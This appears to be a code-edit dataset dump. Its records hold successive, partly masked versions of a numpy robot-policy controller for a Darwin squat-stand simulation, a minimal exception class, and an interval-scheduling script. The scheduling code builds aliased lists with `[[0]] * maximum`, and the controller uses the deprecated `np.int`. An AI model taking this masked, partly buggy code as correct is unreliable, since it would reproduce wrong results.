+ self.nn_params[-1][1] if self.nvec is None: return out else: splitted_out = np.split(out, np.cumsum(self.nvec)[0:-1]) discrete_out = np.array([np.argmax(prob) for prob in splitted_out]) return discrete_out class NP_Net_MirrorSym: def __init__(self, nvec=None, observation_permutation=None, action_permutation=None): self.obrms_mean = None self.obrms_std = None self.nn_params = [] self.nvec = nvec obs_perm_mat = np.zeros((len(observation_permutation), len( observation_permutation)), dtype=np.float32) self.obs_perm_mat = obs_perm_mat for i, perm in enumerate(observation_permutation): obs_perm_mat[i][int(np.abs(perm))] = np.sign(perm) if nvec is None: act_perm_mat = np.zeros((len(action_permutation), len( action_permutation)), dtype=np.float32) self.act_perm_mat = act_perm_mat for i, perm in enumerate(action_permutation): self.act_perm_mat[i][int(np.abs(perm))] = np.sign(perm) else: total_dim = int(np.sum(nvec)) dim_index = np.concatenate([[0], np.cumsum(nvec)]) act_perm_mat = np.zeros((total_dim, total_dim), dtype=np.float32) self.act_perm_mat = act_perm_mat for i, perm in enumerate(action_permutation): perm_mat = np.identity(nvec[i]) if np.sign(perm) < 0: perm_mat = np.flipud(perm_mat) self.act_perm_mat[dim_index[i]:dim_index[i] + nvec[i], dim_index[int(np.abs(perm))]:dim_index[int(np.abs(perm) )] + nvec[int(np.abs(perm))]] = perm_mat def load_from_file(self, fname): params = joblib.load(fname) pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')] obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0'] obrms_count = params[pol_scope + '/obfilter/count:0'] obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0'] self.obrms_mean = obrms_runningsum / obrms_count self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count - self.obrms_mean ** 2, 0.01, 1000000)) for i in range(10): if pol_scope + '/pol_net/genff' + str(i) + '/w:0' in params: W = params[pol_scope + '/pol_net/genff' + str(i) + '/w:0'] b = params[pol_scope + '/pol_net/genff' + str(i) + '/b:0'] self.nn_params.append([W, b]) W_final = params[pol_scope + '/pol_net/genff_out/w:0'] b_final = params[pol_scope + '/pol_net/genff_out/b:0'] self.nn_params.append([W_final, b_final]) def get_output(self, input, activation=np.tanh): assert self.obrms_mean is not None last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0, 5.0) for i in range(len(self.nn_params) - 1): last_out = activation(np.dot(self.nn_params[i][0].T, last_out) + self.nn_params[i][1]) out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1] mirrorlast_out = np.clip((np.dot(input, self.obs_perm_mat) - self. obrms_mean) / self.obrms_std, -5.0, 5.0) for i in range(len(self.nn_params) - 1): mirrorlast_out = activation(np.dot(self.nn_params[i][0].T, mirrorlast_out) + self.nn_params[i][1]) mirrorout = np.dot(np.dot(self.nn_params[-1][0].T, mirrorlast_out) + self.nn_params[-1][1], self.act_perm_mat) if self.nvec is None: return out + mirrorout else: splitted_out = np.split(out + mirrorout, np.cumsum(self.nvec)[0:-1] ) discrete_out = np.array([np.argmax(prob) for prob in splitted_out]) return discrete_out class NP_Policy: def __init__(self, interp_sch, param_file, discrete_action, action_bins, delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None): self.interp_sch = interp_sch self.obs_cache = [] self.action_cache = [] self.action_filter_size = action_filter_size if interp_sch is not None: self.net = NP_Net() else: self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm) self.net.load_from_file(param_file) self.discrete_action = discrete_action self.delta_angle_scale = delta_angle_scale if discrete_action: self.net.nvec = action_bins def get_initial_state(self): if self.interp_sch is not None: return self.interp_sch[0][1] else: return 0.5 * (pose_squat + pose_stand) def reset(self): self.action_cache = [] def act(self, o, t): new_action = self.net.get_output(o) if self.discrete_action: new_action = new_action * 1.0 / np.floor(self.net.nvec / 2.0) - 1.0 self.action_cache.append(new_action) if len(self.action_cache) > self.action_filter_size: self.action_cache.pop(0) filtered_action = np.mean(self.action_cache, axis=0) clamped_control = np.clip(filtered_action, -1, 1) if self.interp_sch is not None: self.ref_target = self.interp_sch[0][1] for i in range(len(self.interp_sch) - 1): if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0 ]: ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[ i + 1][0] - self.interp_sch[i][0]) self.ref_target = ratio * self.interp_sch[i + 1][1] + ( 1 - ratio) * self.interp_sch[i][1] if t > self.interp_sch[-1][0]: self.ref_target = self.interp_sch[-1][1] target_pose = (self.ref_target + clamped_control * self. delta_angle_scale) else: target_pose = (clamped_control + 1.0) / 2.0 * ( SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD ) + SIM_CONTROL_LOW_BOUND_RAD target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD, SIM_JOINT_UP_BOUND_RAD) return target_pose def toRobot(positions): index = [3, 0, 4, 1, 5, 2, 14, 8, 15, 9, 16, 10, 17, 11, 18, 12, 19, 13, 6, 7] robotState = np.zeros(len(positions)) for i in range(len(positions)): robotState[i] = int(positions[i] * 180 * (1 / (np.pi * 0.088))) + 2048 return robotState[index].astype(int) if __name__ == '__main__': import pydart2 as pydart import gym env = gym.make('DartDarwinSquat-v1') env.reset() dart_world = env.env.dart_world class Controller(object): def __init__(self, world, policy): self.world = world self.target = None self.kp = np.array([2.1, 1.79, 4.93, 2.0, 2.02, 1.98, 2.2, 2.06, 148, 152, 150, 136, 153, 102, 151, 151.4, 150.45, 151.36, 154, 105.2]) self.kd = np.array([0.21, 0.23, 0.22, 0.25, 0.21, 0.26, 0.28, 0.213, 0.192, 0.198, 0.22, 0.199, 0.02, 0.01, 0.53, 0.27, 0.21, 0.205, 0.022, 0.056]) self.step = 0 self.frameskip = 25 self.fulltau = np.zeros(26) self.np_policy = policy self.target_sim_cache = [] self.target_hw_cache = [] def compute(self): if self.step % self.frameskip == 0: o = np.concatenate([self.world.skeletons[-1].q[6:], self. world.skeletons[-1].dq[6:]]) self.target = self.np_policy.act(o, self.world.time()) self.target_hw_cache.append(toRobot(self.target)) self.target_sim_cache.append(RADIAN2VAL(self.target)) np.savetxt('darwin/feedforward_target_simindex.txt', np. array(self.target_sim_cache, dtype=np.int)) np.savetxt('darwin/feedforward_target_hwindex.txt', np. array(self.target_hw_cache, dtype=np.int)) tau = -self.kp * (self.world.skeletons[-1].q[6:] - self.target ) - self.kd * self.world.skeletons[-1].dq[6:] self.fulltau = np.concatenate([np.zeros(6), tau]) self.step += 1 return np.clip(self.fulltau, -3.5, 3.5) for i in range(6, dart_world.skeletons[-1].ndofs): j = dart_world.skeletons[-1].dof(i) j.set_damping_coefficient(0.515) dart_world.set_gravity([0, 0, -9.81]) dart_world.skeletons[1].set_mobile(False) dart_world.skeletons[1].q = dart_world.skeletons[1].q + 100 dart_world.set_collision_detector(0) dart_world.skeletons[-1].set_self_collision_check(False) dart_world.skeletons[0].bodynodes[0].set_friction_coeff(5.0) for bn in dart_world.skeletons[-1].bodynodes: bn.set_friction_coeff(5.0) pose_squat_val = np.array([2509, 2297, 1714, 1508, 1816, 2376, 2047, 2171, 2032, 2039, 2795, 648, 1231, 2040, 2041, 2060, 1281, 3448, 2855, 2073]) pose_stand_val = np.array([1500, 2048, 2048, 2500, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048]) pose_squat = VAL2RADIAN(pose_squat_val) pose_stand = VAL2RADIAN(pose_stand_val) interp_sch = [[0.0, pose_squat], [3.0, pose_stand], [4.0, pose_stand]] policy = NP_Policy(interp_sch, 'data/darwin_standsquat_policy_conseq_obs_warmstart.pkl', discrete_action=True, action_bins=np.array([11] * 20), delta_angle_scale=0.3) controller = Controller(dart_world, policy) dart_world.skeletons[-1].set_controller(controller) print('create controller OK') pydart.gui.viewer.launch(dart_world, default_camera=1)
################################################################################ # Controller of the Darwin Squat-Stand task using numpy # # Note: all joint data used in this file uses the dof indexing with # # from the simulation environment, not the hardware. # ################################################################################ import joblib import numpy as np from darwin.darwin_utils import * # Class for a neural network model in numpy class NP_Net: def __init__(self, nvec = None): self.obrms_mean = None # for observation running mean std self.obrms_std = None # for observation running mean std self.nn_params = [] # stores the neural net parameters in the form of [[W0, b0], [W1, b1], ... [Wn, bn]] self.nvec = nvec # None if continuous action, otherwise discrete action in the form of # [numbins, numbins, ... numbins] def load_from_file(self, fname): params = joblib.load(fname) pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')] obrms_runningsumsq = params[pol_scope+'/obfilter/runningsumsq:0'] obrms_count = params[pol_scope+'/obfilter/count:0'] obrms_runningsum = params[pol_scope+'/obfilter/runningsum:0'] self.obrms_mean = obrms_runningsum / obrms_count self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count - (self.obrms_mean**2), 1e-2, 1000000)) for i in range(10): # assume maximum layer size of 10 if pol_scope+'/pol/fc'+str(i)+'/kernel:0' in params: W = params[pol_scope+'/pol/fc'+str(i)+'/kernel:0'] b = params[pol_scope+'/pol/fc'+str(i)+'/bias:0'] self.nn_params.append([W, b]) W_final = params[pol_scope + '/pol/final/kernel:0'] b_final = params[pol_scope + '/pol/final/bias:0'] self.nn_params.append([W_final, b_final]) def get_output(self, input, activation = np.tanh): assert self.obrms_mean is not None last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0, 5.0) for i in range(len(self.nn_params)-1): last_out = activation(np.dot(self.nn_params[i][0].T, last_out) + self.nn_params[i][1]) out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1] if self.nvec is None: return out else: # convert for discrete output splitted_out = np.split(out, np.cumsum(self.nvec)[0:-1]) discrete_out = np.array([np.argmax(prob) for prob in splitted_out]) return discrete_out # Class for a neural network model with mirror symmetry in numpy class NP_Net_MirrorSym: def __init__(self, nvec = None, observation_permutation=None,action_permutation=None): self.obrms_mean = None # for observation running mean std self.obrms_std = None # for observation running mean std self.nn_params = [] # stores the neural net parameters in the form of [[W0, b0], [W1, b1], ... [Wn, bn]] self.nvec = nvec # None if continuous action, otherwise discrete action in the form of # [numbins, numbins, ... numbins] obs_perm_mat = np.zeros((len(observation_permutation), len(observation_permutation)), dtype=np.float32) self.obs_perm_mat = obs_perm_mat for i, perm in enumerate(observation_permutation): obs_perm_mat[i][int(np.abs(perm))] = np.sign(perm) if nvec is None: act_perm_mat = np.zeros((len(action_permutation), len(action_permutation)), dtype=np.float32) self.act_perm_mat = act_perm_mat for i, perm in enumerate(action_permutation): self.act_perm_mat[i][int(np.abs(perm))] = np.sign(perm) else: total_dim = int(np.sum(nvec)) dim_index = np.concatenate([[0], np.cumsum(nvec)]) act_perm_mat = np.zeros((total_dim, total_dim), dtype=np.float32) self.act_perm_mat = act_perm_mat for i, perm in enumerate(action_permutation): perm_mat = np.identity(nvec[i]) if np.sign(perm) < 0: perm_mat = np.flipud(perm_mat) self.act_perm_mat[dim_index[i]:dim_index[i] + nvec[i], dim_index[int(np.abs(perm))]:dim_index[int(np.abs(perm))] + nvec[int(np.abs(perm))]] = perm_mat def load_from_file(self, fname): params = joblib.load(fname) pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')] obrms_runningsumsq = params[pol_scope+'/obfilter/runningsumsq:0'] obrms_count = params[pol_scope+'/obfilter/count:0'] obrms_runningsum = params[pol_scope+'/obfilter/runningsum:0'] self.obrms_mean = obrms_runningsum / obrms_count self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count - (self.obrms_mean**2), 1e-2, 1000000)) for i in range(10): # assume maximum layer size of 10 if pol_scope+'/pol_net/genff'+str(i)+'/w:0' in params: W = params[pol_scope+'/pol_net/genff'+str(i)+'/w:0'] b = params[pol_scope+'/pol_net/genff'+str(i)+'/b:0'] self.nn_params.append([W, b]) W_final = params[pol_scope + '/pol_net/genff_out/w:0'] b_final = params[pol_scope + '/pol_net/genff_out/b:0'] self.nn_params.append([W_final, b_final]) def get_output(self, input, activation = np.tanh): assert self.obrms_mean is not None last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0, 5.0) for i in range(len(self.nn_params)-1): last_out = activation(np.dot(self.nn_params[i][0].T, last_out) + self.nn_params[i][1]) out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1] mirrorlast_out = np.clip((np.dot(input, self.obs_perm_mat) - self.obrms_mean) / self.obrms_std, -5.0, 5.0) for i in range(len(self.nn_params) - 1): mirrorlast_out = activation(np.dot(self.nn_params[i][0].T, mirrorlast_out) + self.nn_params[i][1]) mirrorout = np.dot(np.dot(self.nn_params[-1][0].T, mirrorlast_out) + self.nn_params[-1][1], self.act_perm_mat) if self.nvec is None: return out + mirrorout else: # convert for discrete output splitted_out = np.split(out + mirrorout, np.cumsum(self.nvec)[0:-1]) discrete_out = np.array([np.argmax(prob) for prob in splitted_out]) return discrete_out # Class for a neural network policy in numpy # Includes the action filtering and pose interpolation class NP_Policy: # interp_sch makes the feed-forward motion # interp_sch contains the timing and pose id throughout the trajectory def __init__(self, interp_sch, param_file, discrete_action, action_bins, delta_angle_scale, action_filter_size, obs_perm = None, act_perm = None): self.interp_sch = interp_sch self.obs_cache = [] self.action_cache = [] self.action_filter_size = action_filter_size if interp_sch is not None: self.net = NP_Net() else: self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm) self.net.load_from_file(param_file) self.discrete_action = discrete_action self.delta_angle_scale = delta_angle_scale if discrete_action: self.net.nvec = action_bins # Get the initial state for the robot # RETURN: a 20d vector for the robot pose def get_initial_state(self): if self.interp_sch is not None: return self.interp_sch[0][1] else: return 0.5*(pose_squat + pose_stand) # Reset the state of the policy # This is needed because the action cache essentially forms a memory in the policy def reset(self): self.action_cache = [] # Return the action to be taken by the robot given the observation and current time # INPUT: o, a 40d vector containing the pose and velocity of the robot # t, current time in seconds, used to get the reference pose # RETURN: a 20d vector containing the target angle (in radians) for the robot joints def act(self, o, t): # get network output action new_action = self.net.get_output(o) if self.discrete_action: new_action = new_action * 1.0 / np.floor(self.net.nvec/2.0) - 1.0 self.action_cache.append(new_action) if len(self.action_cache) > self.action_filter_size: self.action_cache.pop(0) filtered_action = np.mean(self.action_cache, axis=0) # get feedforward action clamped_control = np.clip(filtered_action, -1, 1) if self.interp_sch is not None: self.ref_target = self.interp_sch[0][1] for i in range(len(self.interp_sch) - 1): if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0]: ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[i + 1][0] - self.interp_sch[i][0]) self.ref_target = ratio * self.interp_sch[i + 1][1] + (1 - ratio) * self.interp_sch[i][1] if t > self.interp_sch[-1][0]: self.ref_target = self.interp_sch[-1][1] # combine policy output and keyframe interpolation to get the target joint positions target_pose = self.ref_target + clamped_control * self.delta_angle_scale else: target_pose = (clamped_control + 1.0) / 2.0 * (SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD) + SIM_CONTROL_LOW_BOUND_RAD target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD, SIM_JOINT_UP_BOUND_RAD) return target_pose def toRobot(positions): # reorder joints index = [3,0,4,1,5,2,14,8,15,9,16,10,17,11,18,12,19,13,6,7] # convert from radians to int robotState = np.zeros(len(positions)) for i in range(len(positions)): robotState[i] = int(positions[i]*180*(1/(np.pi*0.088))) + 2048 return robotState[index].astype(int) ####################################### # test the file in pydart2 simulation # ####################################### if __name__ == "__main__": import pydart2 as pydart import gym env = gym.make('DartDarwinSquat-v1') # use the dart_world in the gym environment to avoid copying the data env.reset() dart_world = env.env.dart_world class Controller(object): def __init__(self, world, policy): self.world = world self.target = None self.kp = np.array([2.1, 1.79, 4.93, 2.0, 2.02, 1.98, 2.2, 2.06, 148, 152, 150, 136, 153, 102, 151, 151.4, 150.45, 151.36, 154, 105.2]) self.kd = np.array([0.21, 0.23, 0.22, 0.25, 0.21, 0.26, 0.28, 0.213 , 0.192, 0.198, 0.22, 0.199, 0.02, 0.01, 0.53, 0.27, 0.21, 0.205, 0.022, 0.056]) self.step = 0 self.frameskip = 25 self.fulltau = np.zeros(26) self.np_policy = policy self.target_sim_cache = [] self.target_hw_cache = [] def compute(self): if self.step % self.frameskip == 0: o = np.concatenate([self.world.skeletons[-1].q[6:], self.world.skeletons[-1].dq[6:]]) self.target = self.np_policy.act(o, self.world.time()) self.target_hw_cache.append(toRobot(self.target)) self.target_sim_cache.append(RADIAN2VAL(self.target)) np.savetxt('darwin/feedforward_target_simindex.txt', np.array(self.target_sim_cache, dtype=np.int)) np.savetxt('darwin/feedforward_target_hwindex.txt', np.array(self.target_hw_cache, dtype=np.int)) tau = -self.kp * (self.world.skeletons[-1].q[6:] - self.target) - self.kd * self.world.skeletons[-1].dq[6:] self.fulltau = np.concatenate([np.zeros(6), tau]) self.step += 1 return np.clip(self.fulltau, -3.5, 3.5) # torque limit of 3.5 Nm # Set joint damping for i in range(6, dart_world.skeletons[-1].ndofs): j = dart_world.skeletons[-1].dof(i) j.set_damping_coefficient(0.515) dart_world.set_gravity([0, 0, -9.81]) dart_world.skeletons[1].set_mobile(False) dart_world.skeletons[1].q = dart_world.skeletons[1].q + 100 dart_world.set_collision_detector(0) dart_world.skeletons[-1].set_self_collision_check(False) dart_world.skeletons[0].bodynodes[0].set_friction_coeff(5.0) for bn in dart_world.skeletons[-1].bodynodes: bn.set_friction_coeff(5.0) ############################################################################ #### Setup the policy from file #### #### refer to this part for construction of policy to be run on hardware ### ############################################################################ pose_squat_val = np.array([2509, 2297, 1714, 1508, 1816, 2376, 2047, 2171, 2032, 2039, 2795, 648, 1231, 2040, 2041, 2060, 1281, 3448, 2855, 2073]) pose_stand_val = np.array([1500, 2048, 2048, 2500, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048]) pose_squat = VAL2RADIAN(pose_squat_val) pose_stand = VAL2RADIAN(pose_stand_val) # keyframe scheduling for squat stand task interp_sch = [[0.0, pose_squat], [3.0, pose_stand], [4.0, pose_stand], ] policy = NP_Policy(interp_sch, 'data/darwin_standsquat_policy_conseq_obs_warmstart.pkl', discrete_action=True, action_bins=np.array([11] * 20), delta_angle_scale=0.3) ############################################################################ # End of setup for policy # policy should be used for executing on other environments ############################################################################ # Initialize the controller controller = Controller(dart_world, policy) dart_world.skeletons[-1].set_controller(controller) print('create controller OK') pydart.gui.viewer.launch(dart_world, default_camera=1) # Use Z-up camera
[ 10, 13, 15, 16, 17 ]
9,946
2ee1539e051677ad38ab7727ff5edefb1aebd015
<mask token>
class BaseException(Exception): <mask token>
class BaseException(Exception): def __init__(self, message=''): super(BaseException, self).__init__() self.message = message
class BaseException(Exception): def __init__(self, message=""): super(BaseException, self).__init__() self.message = message
null
[ 0, 1, 2, 3 ]
9,947
f57fa2787934dc2a002f82aa1af1f1d9a7f90da5
<mask token> class Job: """ Job class which stores the attributes of the jobs """ def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate): self.day = day self.startTime = startTime self.endTime = endTime self.noOfChildren = noOfChildren self.hourlyRate = hourlyRate self.value = (endTime - startTime) / 100 * hourlyRate def __str__(self): return str(self.day) + ' ' + str(self.startTime) + ' ' + str(self. endTime) + ' ' + str(self.noOfChildren) + ' ' + str(self.hourlyRate ) + ' ' + str(self.value) <mask token> def sortInputByEndTimeAndDay(jobList): """ Sorts the jobList based on day and then the endTime :param jobList: list of jobs :return: jobList in a sorted manner with respect to day and endTime """ jobList = sorted(jobList, key=attrgetter('day', 'endTime')) return jobList def divideJobs(jobList, maximum): """ Segregates the jobs into list of lists with respect to day, that is jobs done in a particular day is stored in a single index. :param jobList: sorted jobLists :param maximum: the maximum amongst the days being considered :return: segregatedJobs which is a list of lists """ segregatedJobs = [[0]] * maximum temp = jobList[0].day j = 0 for i in range(0, len(jobList)): if jobList[i].day == temp: segregatedJobs[j].append(jobList[i]) else: temp = jobList[i].day j += 1 segregatedJobs[j] = [0, jobList[i]] return segregatedJobs def computeRho(segregatedJob): """ To compute the Roh value in a list :param segregatedJob: jobs done in a particular day :return: rho: list in which computed rho is stored """ rho = [0] count = 0 for i in range(1, len(segregatedJob)): j = i - 1 while j > 0: if segregatedJob[i].startTime >= segregatedJob[j].endTime: count += 1 rho.append(j) break j = j - 1 if count == 0: rho.append(0) count = 0 return rho <mask token>
<mask token> class Job: """ Job class which stores the attributes of the jobs """ def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate): self.day = day self.startTime = startTime self.endTime = endTime self.noOfChildren = noOfChildren self.hourlyRate = hourlyRate self.value = (endTime - startTime) / 100 * hourlyRate def __str__(self): return str(self.day) + ' ' + str(self.startTime) + ' ' + str(self. endTime) + ' ' + str(self.noOfChildren) + ' ' + str(self.hourlyRate ) + ' ' + str(self.value) <mask token> def takeInput(): """ Takes input from the console and creates objects and stores in a list jobList :return: jobList-list in which input is stored as objects """ n = int(input()) jobList = [] for i in range(n): str = input().strip('\n').split(' ') if int(str[1]) >= 600 and int(str[2]) <= 2300: jobs = Job(int(str[0]), int(str[1]), int(str[2]), int(str[3]), int(str[4])) jobList.append(jobs) return jobList def sortInputByEndTimeAndDay(jobList): """ Sorts the jobList based on day and then the endTime :param jobList: list of jobs :return: jobList in a sorted manner with respect to day and endTime """ jobList = sorted(jobList, key=attrgetter('day', 'endTime')) return jobList def divideJobs(jobList, maximum): """ Segregates the jobs into list of lists with respect to day, that is jobs done in a particular day is stored in a single index. :param jobList: sorted jobLists :param maximum: the maximum amongst the days being considered :return: segregatedJobs which is a list of lists """ segregatedJobs = [[0]] * maximum temp = jobList[0].day j = 0 for i in range(0, len(jobList)): if jobList[i].day == temp: segregatedJobs[j].append(jobList[i]) else: temp = jobList[i].day j += 1 segregatedJobs[j] = [0, jobList[i]] return segregatedJobs def computeRho(segregatedJob): """ To compute the Roh value in a list :param segregatedJob: jobs done in a particular day :return: rho: list in which computed rho is stored """ rho = [0] count = 0 for i in range(1, len(segregatedJob)): j = i - 1 while j > 0: if segregatedJob[i].startTime >= segregatedJob[j].endTime: count += 1 rho.append(j) break j = j - 1 if count == 0: rho.append(0) count = 0 return rho def algo(segregatedJob): """ Implementing the interval scheduling algorithm :param segregatedJob: A sorted list of jobs of one particular day :return: None """ global total rho = computeRho(segregatedJob) r = len(rho) S = [[(0) for x in range(r)] for y in range(r)] k = 0 while k < len(S): for j in range(k, len(S)): if k == j and j != 0 and segregatedJob[j].noOfChildren < 4: S[j][k] = max(segregatedJob[j].value + S[rho[j]][k - 1], S[ j - 1][k - 1]) elif j > k and j != 0 and segregatedJob[j].noOfChildren >= 4: S[j][k] = S[j - 1][k] elif k == j and j != 0 and segregatedJob[j].noOfChildren >= 4: S[j][k] = max(segregatedJob[j].value + S[rho[j]][rho[k]], S [j - 1][k - 1]) elif j > k and j != 0 and segregatedJob[j].noOfChildren < 4: S[j][k] = max(segregatedJob[j].value + S[rho[j]][k], S[j - 1][k]) else: pass S[k][j] = S[j][k] k += 1 length = len(S) total += S[length - 1][length - 1] <mask token>
<mask token> class Job: """ Job class which stores the attributes of the jobs """ def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate): self.day = day self.startTime = startTime self.endTime = endTime self.noOfChildren = noOfChildren self.hourlyRate = hourlyRate self.value = (endTime - startTime) / 100 * hourlyRate def __str__(self): return str(self.day) + ' ' + str(self.startTime) + ' ' + str(self. endTime) + ' ' + str(self.noOfChildren) + ' ' + str(self.hourlyRate ) + ' ' + str(self.value) total = 0 def takeInput(): """ Takes input from the console and creates objects and stores in a list jobList :return: jobList-list in which input is stored as objects """ n = int(input()) jobList = [] for i in range(n): str = input().strip('\n').split(' ') if int(str[1]) >= 600 and int(str[2]) <= 2300: jobs = Job(int(str[0]), int(str[1]), int(str[2]), int(str[3]), int(str[4])) jobList.append(jobs) return jobList def sortInputByEndTimeAndDay(jobList): """ Sorts the jobList based on day and then the endTime :param jobList: list of jobs :return: jobList in a sorted manner with respect to day and endTime """ jobList = sorted(jobList, key=attrgetter('day', 'endTime')) return jobList def divideJobs(jobList, maximum): """ Segregates the jobs into list of lists with respect to day, that is jobs done in a particular day is stored in a single index. :param jobList: sorted jobLists :param maximum: the maximum amongst the days being considered :return: segregatedJobs which is a list of lists """ segregatedJobs = [[0]] * maximum temp = jobList[0].day j = 0 for i in range(0, len(jobList)): if jobList[i].day == temp: segregatedJobs[j].append(jobList[i]) else: temp = jobList[i].day j += 1 segregatedJobs[j] = [0, jobList[i]] return segregatedJobs def computeRho(segregatedJob): """ To compute the Roh value in a list :param segregatedJob: jobs done in a particular day :return: rho: list in which computed rho is stored """ rho = [0] count = 0 for i in range(1, len(segregatedJob)): j = i - 1 while j > 0: if segregatedJob[i].startTime >= segregatedJob[j].endTime: count += 1 rho.append(j) break j = j - 1 if count == 0: rho.append(0) count = 0 return rho def algo(segregatedJob): """ Implementing the interval scheduling algorithm :param segregatedJob: A sorted list of jobs of one particular day :return: None """ global total rho = computeRho(segregatedJob) r = len(rho) S = [[(0) for x in range(r)] for y in range(r)] k = 0 while k < len(S): for j in range(k, len(S)): if k == j and j != 0 and segregatedJob[j].noOfChildren < 4: S[j][k] = max(segregatedJob[j].value + S[rho[j]][k - 1], S[ j - 1][k - 1]) elif j > k and j != 0 and segregatedJob[j].noOfChildren >= 4: S[j][k] = S[j - 1][k] elif k == j and j != 0 and segregatedJob[j].noOfChildren >= 4: S[j][k] = max(segregatedJob[j].value + S[rho[j]][rho[k]], S [j - 1][k - 1]) elif j > k and j != 0 and segregatedJob[j].noOfChildren < 4: S[j][k] = max(segregatedJob[j].value + S[rho[j]][k], S[j - 1][k]) else: pass S[k][j] = S[j][k] k += 1 length = len(S) total += S[length - 1][length - 1] def main(): """ Main function. return: None """ global total jobList = takeInput() jobListSorted = sortInputByEndTimeAndDay(jobList) maximum = jobListSorted[len(jobListSorted) - 1].day segregatedJobs = divideJobs(jobListSorted, maximum) for i in range(len(segregatedJobs)): algo(segregatedJobs[i]) print(int(total)) if __name__ == '__main__': main()
<mask token> from operator import * class Job: """ Job class which stores the attributes of the jobs """ def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate): self.day = day self.startTime = startTime self.endTime = endTime self.noOfChildren = noOfChildren self.hourlyRate = hourlyRate self.value = (endTime - startTime) / 100 * hourlyRate def __str__(self): return str(self.day) + ' ' + str(self.startTime) + ' ' + str(self. endTime) + ' ' + str(self.noOfChildren) + ' ' + str(self.hourlyRate ) + ' ' + str(self.value) total = 0 def takeInput(): """ Takes input from the console and creates objects and stores in a list jobList :return: jobList-list in which input is stored as objects """ n = int(input()) jobList = [] for i in range(n): str = input().strip('\n').split(' ') if int(str[1]) >= 600 and int(str[2]) <= 2300: jobs = Job(int(str[0]), int(str[1]), int(str[2]), int(str[3]), int(str[4])) jobList.append(jobs) return jobList def sortInputByEndTimeAndDay(jobList): """ Sorts the jobList based on day and then the endTime :param jobList: list of jobs :return: jobList in a sorted manner with respect to day and endTime """ jobList = sorted(jobList, key=attrgetter('day', 'endTime')) return jobList def divideJobs(jobList, maximum): """ Segregates the jobs into list of lists with respect to day, that is jobs done in a particular day is stored in a single index. :param jobList: sorted jobLists :param maximum: the maximum amongst the days being considered :return: segregatedJobs which is a list of lists """ segregatedJobs = [[0]] * maximum temp = jobList[0].day j = 0 for i in range(0, len(jobList)): if jobList[i].day == temp: segregatedJobs[j].append(jobList[i]) else: temp = jobList[i].day j += 1 segregatedJobs[j] = [0, jobList[i]] return segregatedJobs def computeRho(segregatedJob): """ To compute the Roh value in a list :param segregatedJob: jobs done in a particular day :return: rho: list in which computed rho is stored """ rho = [0] count = 0 for i in range(1, len(segregatedJob)): j = i - 1 while j > 0: if segregatedJob[i].startTime >= segregatedJob[j].endTime: count += 1 rho.append(j) break j = j - 1 if count == 0: rho.append(0) count = 0 return rho def algo(segregatedJob): """ Implementing the interval scheduling algorithm :param segregatedJob: A sorted list of jobs of one particular day :return: None """ global total rho = computeRho(segregatedJob) r = len(rho) S = [[(0) for x in range(r)] for y in range(r)] k = 0 while k < len(S): for j in range(k, len(S)): if k == j and j != 0 and segregatedJob[j].noOfChildren < 4: S[j][k] = max(segregatedJob[j].value + S[rho[j]][k - 1], S[ j - 1][k - 1]) elif j > k and j != 0 and segregatedJob[j].noOfChildren >= 4: S[j][k] = S[j - 1][k] elif k == j and j != 0 and segregatedJob[j].noOfChildren >= 4: S[j][k] = max(segregatedJob[j].value + S[rho[j]][rho[k]], S [j - 1][k - 1]) elif j > k and j != 0 and segregatedJob[j].noOfChildren < 4: S[j][k] = max(segregatedJob[j].value + S[rho[j]][k], S[j - 1][k]) else: pass S[k][j] = S[j][k] k += 1 length = len(S) total += S[length - 1][length - 1] def main(): """ Main function. return: None """ global total jobList = takeInput() jobListSorted = sortInputByEndTimeAndDay(jobList) maximum = jobListSorted[len(jobListSorted) - 1].day segregatedJobs = divideJobs(jobListSorted, maximum) for i in range(len(segregatedJobs)): algo(segregatedJobs[i]) print(int(total)) if __name__ == '__main__': main()
